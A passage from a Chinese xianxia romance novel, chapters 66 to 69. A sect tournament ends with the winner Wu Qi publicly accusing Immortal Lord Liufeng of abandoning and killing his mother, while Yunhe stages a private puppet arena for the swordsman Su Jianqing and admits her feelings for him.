苏见清回:“师尊自幼教导,我修习剑术,是为了斩杀邪魔,护卫玄清安宁,不需要出风头得虚名。” 蕴禾嗤笑一声,“全玄清域修士皆会参加的盛会,被说成是为了出风头,你师尊也挺有意思的。” 苏见清抿唇,面色略有讪然。 下一瞬,又听蕴禾问:“你的师兄弟们都去了,你看着他们,不羡慕吗?” 她其实更想问,苏见清,你这么活着,不累吗? 苏见清指尖一麻,心头漏了一拍。 第66章 羡慕吗? 苏见清目光追随着擂台上的方若望。 身为典淮的首席弟子,方若望天赋出众,无疑是伏渊最优秀的弟子之一。此刻的他手持长剑,从容面对对手,一手穿云剑法使得出神入化,将对方打下擂台后,无数欢呼和掌声潮涌般向他涌去。 方若望抬头一笑,恰好云层上有一缕金色阳光洒落,照耀在年轻剑修眉宇间,衬得向来沉稳的他罕见地显露一丝少年意气。 在他身后,呐喊声与欢呼声不断。 看着眼前此景,苏见清说不出心中是何滋味。 为师兄高兴有之,羡慕有之……各种情绪糅杂,令他无论如何也说不出那句不羡慕。 他对蕴禾轻轻笑笑,回道:“阿蕴姑娘,我不需要。” 心道,这次或许又要惹阿蕴姑娘生气了。 他总是如此无趣,不懂如何讨阿蕴姑娘欢心,一次又一次让她失望。 苏见清敛眸,眸底光芒暗淡。 蕴禾一手支脸,盯着他看了许久。 年轻剑修嘴角含着浅淡笑意,白衣似雪,清逸出尘。他安静地坐着,身后弟子如云,欣喜地谈论刚刚获胜的师兄,面上表情与有荣焉。 他却似独坐高山,冰雪倾轧,将他与身后的热闹之景隔开。 蕴禾看着看着,忽然觉得苏见清嘴角的笑极为碍眼,她淡淡收回目光,视线放在擂台上,再未回复一字。 苏见清抿唇,掌心轻轻攥起。 接下来的比试,他无心观看,眼角余光皆落在蕴禾身上,可见她安静认真观赛,不好打扰,憋着一腔复杂情绪,将目光虚虚落在擂台上。 落日时分,桑若城主宣布今日的比赛结束。 苏见清刚起身,典淮看见了,笑问:“见清,你那朋友今日可上擂台了?” 苏见清一整日的心思都在蕴禾身上,何曾注意到别的?好在他记性好,勉强从记忆里调出巫弃上台的画面,回道:“上了。” 典淮:“是哪一个,你怎的不给师叔指一指?” “是巫弃。” “他啊。” 典淮恍然大悟。 一个雷灵根的法修,凭借自己修习到元婴,这般天赋,难怪向来独来独往的见清能与之相交。 “他天赋不错,在此次群英会中,或许能取得不错的名次。” 苏见清心不在焉地听着,余光一转,已不见蕴禾的身影。 他略微心慌,打断典淮的喋喋不休,“师叔,弟子要去寻巫道友,明日一早再归。” “诶。” 典淮眼睁睁看着苏见清从面前御剑离开。 他皱眉,狐疑道:“去见友人,用得着这般着急?” 方若望和齐岱走近,后者拼命给前者挤眼睛使眼色。 嗨呀,这个苏师弟,就算要去见阿蕴姑娘,也不用这么着急吧?没想到这铁树一朝开花,竟然噼里啪啦的。 方若望没给齐岱一个眼风,笑道:“师尊莫急,苏师弟好不容易才有相交之人,这知己之间自是有说不完的话,等回到伏渊,苏师弟和巫道友见面的*机会就少了,自然得趁着这段时日好好相处。” 典淮一想,“也是。” “今日那巫弃可谓是一鸣惊人,望儿,你可有压力?” 方若望轻轻一笑,“弟子不惧不怯,赢了,自是给师尊与伏渊争光,但若是输了,也不过是漫漫仙途中的一次历练。” 典淮哈哈大笑,欣慰拍着方若望的肩,“不错,如此心性,不愧是我典淮的弟子。” 他揽着方若望离开,“咱们当掌门的,心态要稳,就算是天塌下来也不能慌。至于打打杀杀的,那不是还有你师伯和师弟在嘛……” 齐岱对方若望举起大拇指,乐颠颠跟上去。 …… 苏见清一路追回客栈,见曲江篱和巫弃正往楼上走,急忙跟上去。 不见蕴禾的身影,他略显慌乱问:“曲姑娘,阿蕴姑娘呢?” 曲江篱:“今日一结束,阿蕴姐姐就离开了。” 苏见清:“她可有说去了何处?” “不知道诶。” 曲江篱耸肩,疑惑问:“阿蕴姐姐没告诉你吗?” 话音方落,肩膀忽然被拍一下,她回头,只见巫弃给她使了个眼色。 曲江篱去看苏见清,福灵心至。 她鼓起脸,“苏公子,你是不是惹阿蕴姐姐生气了?” 苏见清沉默下去。 阿蕴姑娘自由率性,自是看不惯他的言不由衷,道貌岸然。 曲江篱点点苏见清的肩膀,“你看看,你又沉默了,你要是每次遇到问题都不开口,不怪阿蕴姐姐生你气。” “苏公子啊。” 曲江篱语重心长道:“这该怎么追女孩子,你还得多学学。” “曲姑娘,你误会了。”苏见清忍不住开口,“我和阿蕴姑娘不是……”你想的那样。 “嗨呀。” 曲江篱摆手,笑容促狭,“苏公子,在我面前你就别装了,你什么心思,我还看不出来吗?” 苏见清一怔。 曲江篱:“好啦好啦,阿蕴姐姐虽然没告诉我她去了哪儿,但她离开前特意说她去了城外。阿蕴姐姐想去哪儿何必与我说?我看她这是算准了你会追上来,故意告诉你呢。” 姑娘圆圆鹿眼繁星闪烁,挥手对他鼓励笑道:“苏公子,你快去罢。” 曲江篱的话在苏见清耳边落下,他本该反驳的,可一得知蕴禾的下落,就什么都顾不上了,匆匆道:“多谢曲姑娘。” 尾音落下,人已朝着客栈外奔去。 曲江篱对着苏见清的背影笑眯眯招手,“不客气。” 巫弃无奈,“你怎么这么操心别人的事。” “阿蕴姐姐才不算别人。” 不知想到什么,曲江篱嘿嘿直乐,“再说了,这种情情爱爱的,还是看别人谈有意思。” 巫弃笑容无奈,片刻后,他嘴角笑意渐渐落下,凝视曲江篱满含笑容的侧脸。 只是别人的有意思吗? 恰在这时,曲江篱转过身来,挽住巫弃胳膊,笑盈盈道:“好啦,你快去歇息吧,明日还得上擂台呢。” 巫弃心中一暖,顺着她的力道上楼。 “好。” 也是,目前最重要的还是群英会。 等过了这关再说。 转身时余光瞥过窗外,巫弃眸色瞬间暗沉。 …… 暮色四合,天空逐渐变为黛青色。 今夜无月也无星,偶有夜风吹来云朵,零零散散地散布在夜幕之中。忽有一道灵光仿佛流星划过,将漆黑夜空一分为二。 灵光坠落,苏见清收起长虹,目光细细从周围扫过,寻找那道熟悉的身影。 看不见尽头的草叶如涛涛波浪随风摇曳,四周空寂无人,不见蕴禾。 苏见清眉头微皱。 一路上分明还能感受到阿蕴姑娘的气息,为何到此处就断了? 白色衣摆拂过草叶,苏见清向前寻找。 “阿蕴姑娘,你在这儿吗?” “阿蕴姑娘?” 一只萤虫从草丛中飞出,停留在苏见清面前。 剑修微怔,迟疑道:“这是何意?” 萤虫无法开口,荧荧绿光闪烁,挥动翅膀飞走。 苏见清见状急忙跟上。 无数只萤虫飞出草丛,簇拥在他身边,剑修抬头,见到了永生难忘的一幕。 荧光相织成海,绿海之上,青色翎羽上有灵光倾泻,仿佛无数片青光闪烁的羽毛簌簌而落。 青羽之上半卧着一道身影。 姑娘穿着绿色广袖留仙裙,一手支着脑袋,衣袖滑落,露出一截如白瓷细腻的藕臂。黑发被盘成髻,翠玉竹簪斜插而入,唯留一绺白发散落在肩。 双耳毫无一物,修长脖颈上戴青珠,花瓣般的裙摆铺陈开,一半垂落在空中。 她抬起头,目光如蜻蜓点水,轻轻落在苏见清身上。 “你来了。” 恰有一只萤虫从她眼前飞过,荧光一闪而过,沉得姑娘眉眼清幽沉寂,深邃神秘。 苏见清许久才往前挪动一步,轻声问:“阿蕴姑娘怎么到这儿来了。” “无聊,准备给自己找点乐子。” 蕴禾歪着脑袋,目光紧盯着苏见清不放。 苏见清微怔,“乐子?” “是啊。” 蕴禾忽然收手,直起身子,双腿交叠而坐。食指一勾,只只一手大小的小草人从青羽上跳下去。 这些小草人并无五官,四肢灵活,转眼间就围绕在苏见清身旁。 蕴禾两指捻起一只小草人的脑袋,将之送到苏见清身边,声线懒散,“把你的神识放进去。” 看这态度,阿蕴姑娘没生气? 苏见清虽然不解,但还是照做了,抽出一缕神识放入草人中。 下一刻,眼前巨大草叶摇摆,他仿佛化身成为一只草人。 蕴禾噗嗤一笑。 那草人分明依旧并无五官表情,可她好似瞧见了苏见清此刻懵懂的神色。 袖子挥动,苏见清的身体被一股轻柔的微风扶住,慢慢落到草坪上。与此同时,一方草叶织成的擂台从小草人苏见清的脚下升起,将他托举到半空。 一只小草人跳上擂台,手中持刀,对苏见清做出攻击的姿势。 苏见清心中略有所感,却不可置信般抬头向蕴禾求证,“阿、阿蕴姑娘,这是……” 蕴禾翘起腿,两手往后撑住青羽,姿态随意又霸气四溢。 她抬了抬下巴,居高临下地注视擂台上的小草人苏见清,语调平淡,“我说了,无聊找乐子啊。” 忽地弯眼一笑,蕴禾抬眉,“我这人天生反骨,最爱与人对着干。你不是不需要群英会,不需要擂台吗?我偏要给你造一台。” 姑娘抬手,指着遍地小草人,语气傲然,“这些草人里有我部分神识,里面记录了今日擂台上所有人的招式,我要你和它们对战,你什么时候将它们全部打败,我什么时候把你的神识放出来。” 什么需不需要的,这人分明就想上,却偏偏要压抑自己。 他这口是心非的毛病一时半会儿的改不了,但没事,胜利的欢呼和掌声,她给他。 第67章 苏见清仿佛听见了她的话,又仿佛没听见,整个小草人一动不动怔愣在原地,仿佛连神魂都被抽走了。 “喂!” 蕴禾不满,直起身子质问:“你怎么还不动。” 一瞬间,他似从百里高空回到人间,可他无暇顾及其他,只看得见眼前一人。 她的喜怒嗔痴在他眼里,便是人间百景。 蕴禾愠怒的神色在眼中逐渐清晰,苏见清声音很轻,仿佛怕惊扰到什么,“阿蕴姑娘,我手中无剑……” 蕴禾面色一滞。 哦,她把这事忘了。 食指在空中一划,一根草叶腾空而起,飞到苏见清面前,她努嘴,“喏,你的长虹。” 小草人苏见清将“长虹”握住,正好对面的草人已对他发起攻势,苏见清立即持剑反击。 草叶编织的擂台上,两个小草人打得你来我往,有来有回。 蕴禾支起下巴,嘴角隐隐含笑望着这一幕。 小草人苏见清脸上分明没有五官,她却仿佛透过它,看清属于苏见清的脸,和今日擂台上的方若望一样,神采飞扬,意气轩昂。 她换了个舒服的姿势,半靠在青羽上,手腕上灵光一闪,一方小桌飘浮在半空,上头放着瓜果点心和茶水。 悠哉悠哉吃着果子喝着小酒,蕴禾兴致勃勃看小草人苏见清比试。 他每赢一个小草人,擂台下便有无数个小草人举着双手欢呼。 这是属于苏见清一个人的荣光。 最终,小草人承受不住苏见清庞大的神识,砰一下裂开。 下一刻,苏见清回到了自己的身体,再一睁眼,只见上百个小草人同一时间破碎,草屑如萤虫般遍布天空,绿色灵光飘飘荡荡从空中飘落,撒在他发间、肩上。 “苏见清。” 姑娘磁性慵懒的嗓音唤他。 苏见清抬眸。 蕴禾的眸光仿佛比灵光更加耀眼,她略一颔首,掌中酒杯向苏见清飞去,指腹触碰到温润杯壁的瞬间,含着笑意的嗓音落下。 “恭喜你,获得了今日魁首。” 风卷起袍角,将姑娘眉间吹得格外温柔。 苏见清听见自己的心跳声,一声高过一声,仿佛在无声诉说一件事。 一件既定的事实。 长睫轻轻掀起,他举杯,嘴角笑意温柔和缓,轻声道:“今夜我心甚喜,谢谢你,阿蕴姑娘。” 剑修仰头,将杯中酒一饮而尽。 蕴禾怔怔望着他的笑,似在出神。 片刻后,她略显狼狈偏头,给自己斟一杯酒,用笑容掩饰一瞬的失常。 “不客气。” …… 回去路上,蕴禾一直在想苏见清那个笑,直到走到客房门前,她依旧没能从那笑中缓神。 “阿蕴姑娘。” 蕴禾回头。 苏见清站在隔壁,眸色清湛,“明日见。” 蕴禾摆手,“明日见。” 手刚放在门扉上,又听苏见清匆匆道:“明日我依旧要回师门,阿蕴姑娘……可有什么想吃的?” 蕴禾回头,正巧看见剑修偏过脸去,露在面前的耳尖微微泛红。 她心中莫名舒畅,笑盈盈道:“我想吃在观沧海时你做的鱼蟹,鱼要红烧,蟹要清蒸。” “好。”苏见清点头,“我记下了。” 话已至此,两人合该各自回屋,但奇的是谁也没动,就这么面对面看着对方。 蕴禾的目光坦然直率,苏见清率先招架不住,“我、我先回屋了。阿蕴姑娘明日见。” 话落,他逃窜般推门而入。 蕴禾看着他消失在门内,心情极好地回到房间。 二人走后,隔壁房门忽然推开一条缝,探出半个小脑袋,学着苏见清方才的语气道:“阿蕴姑娘明日见。” 巫弃屈指在她头顶敲一下,“别调皮。” “哎哟。” 曲江篱捂住脑袋,也不生气,小鹿眼里全是笑意,乐呵呵道:“苏公子可真容易害羞。方才阿蕴姐姐居然忍住没扑上去。” 巫弃无奈,“胡说什么呢。” 曲江篱推他胸膛,“哎呀,你不懂,你还是快去修炼吧。” 巫弃:“往后不准再看乱七八糟的话本子。” 小姑娘噘嘴不满,“阿弃你真啰嗦。” 房门关上,二人的声音逐渐消失。 门后,蕴禾哼一声,“乱七八糟说什么呢,谁会扑上去?” 说得她跟个色中饿鬼似的。 蕴禾转身,裙角在空中一扬,如花瓣落下。 她往床榻走去,施施然躺上去。 …… “今夜我心甚喜。” 剑修抬头,笑意如月下昙华,清雅绝美,转瞬即逝。 “阿蕴姑娘,谢谢你……” 蕴禾问他,“你要怎么谢我?” 苏见清反问:“阿蕴姑娘希望我怎么谢?” 蕴禾心中一动,忽然朝他靠近,温热指腹触上剑修耳垂,蜻蜓点水一碰。 在她的注视下,白皙耳垂迅速漫上红意,如天际朝霞瑰丽绚烂。 蕴禾心满意足勾唇,杏眼内皆是笑意,“用你来谢我如何?” 红晕肉眼可见攀上脸颊,苏见清整个人仿佛都要熟透了,清湛凤眸蒙上一层羞怯水雾,侧眸避开蕴禾直愣愣的视线,唇瓣张阖,低声说着什么。 蕴禾没听清,凑上去问:“你说什么?” 青竹香气蔓延,幽幽扑进鼻尖,她听见苏见清小声嗫喏,“……好。” …… 蕴禾猛地睁开眼。 双目一厉,从储物手链中揪出一物,望着掌心遍布七彩灵蕴的牡丹,她咬牙切齿,“原来一直都是你在搞鬼。” 她怎么忘了,加春的本体,是五蕴牡丹! 佛家有五蕴,色、受、想、行、识。当初加春曾说,这牡丹内包含五蕴,如何用,只能拥有者自行摸索。 想到从观沧海到桑若城做的那些梦,蕴禾不得不面对一个事实。 她激发了受蕴。 她对苏见清,生了欲。 蕴禾盯着手心雍容华贵的牡丹,恨得牙根痒痒,“混账东西,你居然……” 话音顿住,她无奈长出一口气。 这东西只是诱发她做梦的因素,归根究底,源头还是在她。 倘若她不对苏见清生出欲,自然不会做这梦。 蕴禾沉下脸。 怎么能是苏见清呢? 他们身上可还有同生咒呢。 这要是一个不慎,苏见清没了命,那她不就完了? 不对不对,有她在,苏见清怎么会没命? 短短几息,蕴禾就接受了这个事实。 她就是对苏见清起了心思。 收起牡丹,蕴禾单手托腮。她这人护短,属于她的无论是东西还是人,都要放在她眼皮子底下。 她离开妖域的时日够长了,后饶所说的荒山,她需得亲自去一趟。 回去之事需得开始计划。 就是苏见清,他这么固执,如何才能把他带回妖域呢? 思考了一个晚上,蕴禾始终没想出个所以然来。 她决定了,要是苏见清执意不从,到时直接把人打晕带回去。 别的先不管,这人必须得在她跟前。 打定主意,蕴禾安心睡去。 晚上睡的时辰不够,曲江篱来敲门时,她险些没醒过来。 “阿蕴姐姐,阿蕴姐姐起了吗?咱们快迟到啦。” “阿蕴姐姐,苏公子给你做了早膳,你不起来吃两口吗?” 这小东西喋喋不休地叫着,吵得蕴禾心烦,艰难从床上翻身而起。 打开门,一个木盒立即出现在面前,曲江篱含着笑的声音从后边传出,“还得是苏公子啊,一听他的名字,阿蕴姐姐立马就起了。” 蕴禾翻白眼,“我是被你吵醒的好嘛。” 曲江篱嘿嘿笑两声,一手拎着木盒,一手挽住蕴禾臂弯,带着她往楼下走,“对不住对不住,阿蕴姐姐我错了,我请你吃早膳!” 蕴禾:“我有早膳。” 曲江篱:“那不是在我手上嘛,我给阿蕴姐姐的,也算是我请你啦!” 蕴禾:“……歪理。” “阿蕴姐姐就说认不认。” “认认认,赶紧吃完走人。” 两人吃完早膳往城中而去。 他们来得比较晚,擂台外早已人山人海,浮岛上坐满了人,哄闹声不断。 好在先行一步的巫弃早已准备了三个位置,见曲江篱和蕴禾来了,忙招手朝二人示意。 落座后,蕴禾漫不经心朝伏渊的浮岛看去。 那头的苏见清似有所感,正好回望过来。 蕴禾一手支颐,目光上上下下将苏见清端详一通,满意点头。 生得这般模样,不怪她起意。 苏见清被她直勾勾的目光看得很不自在,微微垂睫,露出耳尖薄红。 蕴禾勾唇一笑,收回视线,复又看向擂台。 与昨日相较,此刻的她多了几分认真。 之后几日,蕴禾夜夜带苏见清出城。她在月色下欣赏小草人苏见清比试,眉宇间皆是惬意。 回城路上看着苏见清面上淡笑,那句要不要跟她回妖域的话一时间问不出口。 蕴禾心道,还是等群英会结束吧。 结束之后,她再问他。 群英会一共七日,眨眼之间,最后一日已至。 曲江篱一早就拉了蕴禾起来,紧张又期待,“今日就是最后一日了,希望阿弃能获得魁首。” 蕴禾看她一眼,“你好像很在意这件事。” “当然啦。” 曲江篱弯眼,“我们千里迢迢来这儿,就是为了让阿弃赢的。” 蕴禾略一挑眉,直觉这其中还有别的事。 不过她向来不多管闲事,闻言没说什么,和曲江篱一道观赛。 在浮岛上落座,蕴禾下意识往苏见清的方向看去,却见他拧着眉头,似在为难纠结。 蕴禾传音:你今个儿怎么了? 听到她的声音,苏见清眸光亮起,回道:方师兄和巫道友都进了前五,今日他们很可能会遇上。 蕴禾:遇上怎么了,又不是你和他们比。赢的该赢,输的该输,胜负都是常有的事,一场比试而已,有什么可为难的。 她补充一句,但我不一样,无论何时,我只会赢。 苏见清失笑,嗯,我知道,阿蕴姑娘最是厉害。 蕴禾眉眼舒展,懒懒回复,算你识相。 两人有一搭没一搭地聊天,身侧的曲江篱忽然攥住她的衣袖,紧张道:“阿蕴姐姐,这是最后一场了,阿弃一定能赢,对吧?” 蕴禾往下一瞥,看清巫弃对面之人时,心里很轻地哦豁一声。 还真是方若望。 第68章 这是最后一场比试,胜利之人,则是本次群英会的魁首,有权拜入仙尊门下。 巫弃的目光从最上方的浮岛上掠过,手心微微合拢,轻轻攥住。 对对面之人颔首,“请。” 方若望手持佩剑,面上笑意微散,略显凝重道:“道友请。” 二人礼貌致意,目光相对一瞬,同一时间出手! 巫弃身法形如鬼魅,轨迹难辨,似一道紫雷奔腾。 与温润平和的外表相反,方若望乃是火系灵根,他的佩剑名唤灵炎,灵剑出鞘时带起一阵耀眼灵火。伏渊的穿云剑法在他手中,不似苏见清的飘逸轻灵,自在如风,反而带着山岳般的厚重。 剑气带动灵力,如高山倾覆,朝巫弃压去! 二人皆是年轻一辈的佼佼者,巫弃修为虽略高于方若望,但方若望乃是剑修,越战越勇。 一时间,擂台上雷光与剑气交织,若非有结界相护,这方天地想必早已是天翻地覆。 身侧的曲江篱紧张地攥住拳头,目光紧盯擂台上看不清身形的巫弃,在心里小声加油打气。 阿弃,一定要赢啊。 蕴禾倒是没什么感觉,这群英会在她看来就跟小打小闹似的,对所谓魁首的奖励也无感,斜靠在椅背上,悠哉悠哉观看这场斗法。 视线一转,苏见清虽然不如曲江篱紧张,视线却始终落在擂台上。 她传音过去:你觉得谁会赢? 苏见清微怔后老实摇头,我也不知。 蕴禾换个问法:那你希望谁能赢? 苏见清:无论是方师兄还是巫道友,我都为之心喜。 蕴禾对这句和稀泥的话冷嗤一声,眼珠一转,传音道:咱们打个赌如何? 苏见清:什么赌? 蕴禾:就赌他们俩谁能赢,输的人需要答应赢的人一个条件。 不等苏见清应声,她率先道:我赌巫弃能赢。 苏见清无奈,那我压方师兄。 蕴禾勾唇,直勾勾地望着浮岛上端坐的剑修:那就这么说定了,不许反悔。 苏见清:好。 擂台上两人身影快如闪电,修为低下的修士,根本看不清两人的招式。 蕴禾一手支颐,气定神闲地望着这场斗法。 从苏见清应下这个赌约的时候,他就输定了。 浮岛上。 万法仙宗的掌门摸着胡须,“典淮掌门觉得,谁会获胜?” 典淮老神在在,面上带笑,“无论是谁获胜,都是咱们玄清域的人才。” 另一名长老道:“典淮掌门心性倒是好。” 典淮嘴角笑意漫上苦意,“这心态若是不平,如何能做一宗掌门?这门内大大小小的事数不胜数,要是件件都计较,我这掌门怕是早就做到头了。” 另一名掌门附和,“典淮掌门说得是,这宗门里的年轻弟子,可真是一代……” 几位掌门就门内之事展开探讨,典淮身后,褚潇潇垂头不语,嘴唇紧抿。 她不过刚入金丹,境界不稳,早在前几日就被淘汰了。 伍宏志坐在她身边,小声安抚,“潇潇,你还年轻,这次成绩不佳,咱们十年后再战就是,到时你一定能获得魁首。” 褚潇潇咬住下唇,“真的吗?” 伍宏志诚恳道:“自然是真的。我何时骗过你?” 褚潇潇不由偏头去看坐在另一侧的苏见清。 他安静坐在原地,目色沉静,面上似乎并没有遗憾。 不知为何,褚潇潇心里忽然钻出一个念头,幸好师兄不上场。 意识到这点,她忽地心生羞愧,狼狈地偏过头去。 擂台上,方若望挽了个剑花,暂时收手。 一道紫雷钻进巫弃掌心,他面色微凝。 四目相对,方若望笑道:“巫道友,咱们一招定胜负如何?” 巫弃拧眉,“你知道我?” 方若望失笑,“这几日巫道友的名字可谓是如雷贯耳。今日与巫道友一战,是我的荣幸。” 巫弃不动声色,“说得再好听我也不会手下留情。动手吧。” 话落,他双臂挥动间灵气聚拢,十指翻飞,一个圆形法阵逐渐在身后成型,道道紫光闪烁,紫雷霍地向方若望奔去。 方若望未显惧意,灵炎剑身一震,清越剑鸣响彻半空。浩瀚灵火在身后燃起,他使出穿云剑法,毫不畏惧向前迎击。 剑气迎上紫雷,“轰隆”一声,擂台震荡,余波往四周散去,被无形结界消弭。 擂台被紫雷与灵火笼罩,看不清两人的身影。 曲江篱屏住呼吸,连眼睛也不敢眨一下。 头顶被紫光笼罩,方若望手持灵炎,看向对面的巫弃。 年轻修士生得极美,冷昳秾丽,郎艳独绝。然那张完美无瑕的脸上却是一派冰冷,桃花眼内盛满一往无前的坚定。 仿佛无论什么,都不能阻挡他前进的步伐。 他身后数道紫雷穿梭,如蛇如龙,咆哮着朝方若望俯冲而来! 方若望手拿灵炎正要反击,眨眼间紫雷已奔至身前,他一个恍神,雷光仿佛一条张开巨口的紫龙,凶神恶煞朝他一口咬下。 雷光在他眼前不断变换,一会儿是紫龙,一会儿是巫弃坚定的目光。 电光触碰到他的瞬间,方若望手掌一颤,猛地闭眼,手持灵炎一剑劈砍而下。 “穿云第五式,随心。” 灵炎灵光大爆,如烈阳般引人刺目。对面的紫雷不甘示弱,两道能量毫不畏惧相撞,“砰——”地爆开。 擂台震荡,结界不稳,典淮笑意敛下,一把剑从袖中飞出,将从擂台溢出的能量全部绞碎。 过了许久,灵火与紫光一同散去,两道人影逐渐显现在人前。 各浮岛上传来人语。 “谁赢了?” “是伏渊的方若望,还是那名叫巫弃的散修?” 曲江篱同样紧张地盯着擂台。 蕴禾只往下看一眼便收回视线,悠悠品茶。 擂台上,方若望忽地往后退一步,捂住胸口咳出一口血。 片刻后,浮岛上爆发欢呼。 “巫弃!是巫弃赢了!” “阿弃赢了!” 曲江篱喜极而涕,抱着蕴禾狂喜,“阿蕴姐姐,阿弃赢了,他做到了,赢了!” 蕴禾被她晃得头晕,无奈道:“我知道,知道了。” 等曲江篱稍微冷静一些,她抬头看向伏渊方向,向苏见清传音:我赢了。 苏见清捕捉到蕴禾的身影,嗯,恭喜阿蕴姑娘。 听到这句话,蕴禾心情格外舒畅,优哉游哉喝了口茶。视线不经意从方若望身上掠过,她惊讶地轻咦一声。 他好像要突破了。 下方,方若望擦去嘴角鲜血,嘴角含笑,对巫弃真诚道:“多谢巫道友,恭喜你。” 巫弃似有所觉,“同喜。” 方若望笑了笑,对他略一颔首,御剑飞回伏渊浮岛。 典淮第一时间问道:“没事吧?” 方若望摇头,“师尊,我没事。” 他笑意爽朗,“我输了。” 典淮嗐一声,“不过是输了一场比试,你的感悟才是最重要的。” 拍拍方若望的肩头,他道:“这次回去就闭关吧,要不了两三月,我伏渊又会增加一名元婴弟子。” 方若望笑容夹带欣喜,“是。” 他下去后,齐岱率先迎上来,“可以啊方师弟,这次得个第二,下次定能得个第一。” 方若望:“群英会下次举办在十年后,怎么,师兄不信我能在十年内晋升化神?” “嚯,有志气。” 齐岱朝他举起大拇指,“信,我当然信。” 方若望失笑,转眼对上苏见清的目光,温声道:“苏师弟不必担心,我的伤无碍。” 苏见清浅浅勾唇,“恭喜方师兄。” 方若望笑着入座,吃下一颗回灵丹,一边调息,一边看擂台上的巫弃。 桑若城主宣布,“本次群英会的魁首,散修巫弃!” “巫弃!巫弃!” “巫道友,好样的!” 曲江篱激动得险些蹦起来,高声嘶吼,“阿弃!你做到了!你是最最最厉害的法修!” 欢呼声仿佛潮涌,从四面八方涌来,巫弃却只能听到曲江篱一个人的声音。 他抬头,对上姑娘兴奋的小脸,嘴角勾起一抹笑。 笑意令他那张昳丽面容越发光彩照人,浮岛上空,姑娘们的尖叫声几乎要撕破天际。 “巫道友!巫道友!” “巫弃。” 空中忽然响起典淮的声音,温和又不失威严的嗓音从四面八方涌来,“作为本次群英会的魁首,你可自由选择一仙门加入。” 巫弃嘴角笑容落下,垂在身侧的手缓缓攥紧,眸色一点点暗沉。 见他不语,万法仙门的掌门忍不住道:“我万法仙门修习万千法术,正好与你相配,你可愿入我宗门?” “掌门见谅,巫弃无意拜入门下。” 巫弃躬身行礼。 万法仙门掌门面色失望,依旧不死心,“当真不入?你若拜我门下,从今往后,你便是万法仙门下一任掌门。” 此话一出,众人哗然。 万法仙门在玄清域也是一方巨擘,没想到掌门竟然愿意将继承人的位置交给一届散修。一时间,无数道羡慕的目光袭向巫弃。 巫弃坚定道:“抱歉,辜负了掌门好意。” 万法仙门掌门失望一叹,酸溜溜地想,也不知这小子想拜入何家门下。 下一瞬,便听巫弃道:“诸位掌门,巫弃无意拜入任何仙门,我可否请一人答应我一个条件?” 典淮:“哦?是何条件。” 巫弃抬头,目光直直落在某处,“流风仙尊。” 浮岛之上,所有人的视线齐齐落在闭目养神的流风仙尊身上。 万法仙门掌门不免嫉妒地想,怪不得看不上他,原来是看上了这位。 处于焦点的流风仙尊缓缓睁眼,目光淡淡落在下首小小法修身上,如风般轻柔的嗓音落下,“你要本尊答应你什么条件?” 巫弃眸色骤冷,“我要你当着所有人的面,自绝灵脉,自废修为。” 第69章 众人哗然。 “这巫弃在说什么?他哪儿来的这么大的胆子,居然敢让流风仙尊自绝灵脉?” “他是不是疯了?” “得了个魁首就敢挑衅仙尊,这巫弃也太狂了。” 蕴禾也在想巫弃是不是疯了,转头问曲江篱,“他说真的?” 曲江篱一个劲点头,目光担忧又骄傲,“是,阿弃等这一天已经很久了。” 蕴禾拧眉,看看巫弃,又看看浮岛上的流风仙尊。 巫弃和这什么流风有仇?他们二人怎么会扯上关系? 站在擂台上的巫弃无畏抬头,目光穿越浮岛,直直落在流风仙尊身上,挑衅道:“怎么,你不敢?” “仙尊不可!您乃玄清域的顶梁柱,怎么能因一狂妄小儿废弃修为!” 鸿鹄仙宗的掌门急道。 “是啊,仙尊万万不可,这巫弃如此狂妄,断不能应他。” 其余掌门长老纷纷劝说。 典淮靠坐在椅背上,摇着羽扇拧眉不语,余光一直在巫弃和流风仙尊身上打转,视线定格在二人的眼上,他蓦地一顿,仿佛察觉到什么,眼里闪过不可置信的神光。 听着周围劝说,流风仙尊不置一词。 他安静看向巫弃,语调依旧轻柔舒缓,“你可否告诉我,为何要我自绝灵脉?” 巫弃仿佛听到了什么笑话,哈地一下笑出声,眼中冷意如有实质,似冰锥射向流风。 “因为,这是你欠我的。” 流风拧眉不语,似是不解。 见状,巫弃双拳紧攥,涛涛怒火将他的理智掩埋,“你还不知道我是谁吗?” 脖颈上青筋直跳,他仰天怒声,“我娘名唤巫涵!” 巫涵两个字一出,流风瞳孔震颤,夹带紫光的眸底似有什么东西在翻涌,仿佛下一瞬就会破土而出。 “巫涵是谁?她和流风仙尊是何关系?” 周围窃窃私语。 听着这话,巫弃胸前剧烈起伏,怒视流风,“今日,你敢告诉世人,*你和巫涵是何关系吗?” 流风怔忪不语,指尖微微一颤。 巫弃冷笑,“你不敢说,我敢!” “巫涵,是你鸿鹄仙宗高高在上的流风仙尊,相识于微末的结发妻子。” “什么?!” 四周修士震惊。 “流风仙尊居然有妻子?他、他……” 另一人接话,“他不是修的无情道吗?” “巫弃说他娘是巫涵,那他、他和流风仙尊岂不是……” “同样的雷系灵根,同样天赋异禀,这……” 蕴禾显然也被这个消息震住了,拉着曲江篱问:“那劳什子流风仙尊,当真是巫弃的亲生父亲?” 曲江篱双眼含泪,重重点头,她一眼不眨地看着巫弃,低声道:“是。” 蕴禾眉头拧起,隔空与苏见清对视。 那今日可就不好收场了。 浮岛上,鸿鹄仙宗的曾长老惊骇不已,噌一下站起。但他很快冷静下来,指责道:“你的意思是,仙尊乃是你生父?” 巫弃下颌绷直,并未答话。 曾长老冷笑,“你既是仙尊之子,便是我鸿鹄仙宗的少主,可你既知身份,为何不来认亲,反而要来闯这群英会,当着众仙门的面,要仙尊自废修为?” 曾长老重重一喝,“为人子,不忠不孝,你是何居心?!” 巫弃冷冷掀唇,“当然是因为他不配。流风,你还记得我娘是怎么死的吗?” 流风迟钝地垂下头,凝视下方的年轻修士。 他仰着头,那张继承了母亲的瑰丽秾艳面容上覆着冷霜,看向他的目光冷锐又憎恶。 “当年,你本修无情道,却遇见了我的母亲破了道心。你背着师门与她结为夫妻,倒也算过了几年夫妻恩爱的日子。” “可你久久不归,引起师门怀疑,急召你回宗。你听从师命,丢下我娘离开,却不知她那时已有身孕。” “之后几年,你继续做你的仙门魁首,除魔卫道,声名大噪。可你的修为却停滞不前,久不突破,就在这时,你终于想起了那个坏你道心的无辜女子。” 阳光刺在巫弃眼中,引起阵阵刺痛。 他握着拳,用尽全身力气,艰难道:“于是,你回到阔别多年的家,在她欣喜不已迎接自己夫君时,亲手杀了她。” 巫弃永远记得那日。 他意外遇见江篱,带着江篱和她族中长辈回家,正要欣喜地告诉娘亲,他交到了新朋友。 